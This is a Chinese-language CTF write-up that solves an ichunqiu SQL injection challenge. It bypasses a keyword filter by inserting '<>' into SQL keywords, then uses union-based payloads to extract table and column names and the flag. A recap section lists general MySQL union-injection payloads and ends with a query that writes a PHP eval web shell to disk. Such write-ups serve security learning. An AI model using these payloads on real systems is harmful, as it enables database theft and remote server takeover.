访问题目网址
-
得到提示:
flag{在数据库中}
,且网址为xxx.ichunqiu.com/index.php?id=1
,符合sql注入形式。 -
按照惯例查看源代码,提示
SELECT * FROM info WHERE id=1
,为数字型注入
寻找漏洞
-
?id = 1 and 1 = 1
:提示inj code!
,多次测试,发现过滤了and
、or
、select
、order
, -
查询大佬wp得知此处绕过的方法为在敏感词中间加入
<>
,然后就可以进行正常手工注入了。
获取flag
-
?id = 1 ord<> by 3
:回显正常,表明查询三个字段 -
?id = 1 union sel<>ect 1, 2, 3
: 出现回显2,表明漏洞出现在第2的字段上 -
获取数据库名
?id=1 union sel<>ect 1, database(), 3
:回显数据库名为sqli -
获取表名
?id=1 union sel<>ect 1, table_name, 3 from information_schema.tables where table_schema=database()
:回显表名:info、users -
获取字段
?id=1 union sel<>ect 1, column_name, 3 from information_schema.columns where table_name='info'
:回显字段:id、title、flAg_T5ZNdrm -
获取flag
?id=1 union sel<>ect 1, flAg_T5ZNdrm, 3 from info
即可获得flag。
mysql union select注入回顾
-
union语句一定要保证前后查询字段相同,所以一般先通过order by爆破字段个数。(如4个字段)
order by 4
-
爆破字段位置,查看出现漏洞的位置在哪
union select 1,2,3,4
-
利用内置函数爆破数据库信息:version() database() user() @@global.version_compile_os
union select version(),database(),user(), @@global.version_compile_os
-
暴库:mysql>5.0有内置库information_schema,存储着mysql所有的内置库和表结构信息。
查询存在的数据库:
union select 1,2,3,schema_name from information_schema.schemata
-
暴库:猜表
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
-
暴库:猜字段
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='表名'
-
暴库:猜内容
union select 1,2,3,字段名 from 表名 limit 0,1
-
直接写马
条件1:知道站点物理路径
条件2:有足够大的权限
条件3:magic_quotes_gpc()=OFF
select '<?php eval($_POST[cmd]);?>' into file 'D:\\out.php'
================================================================================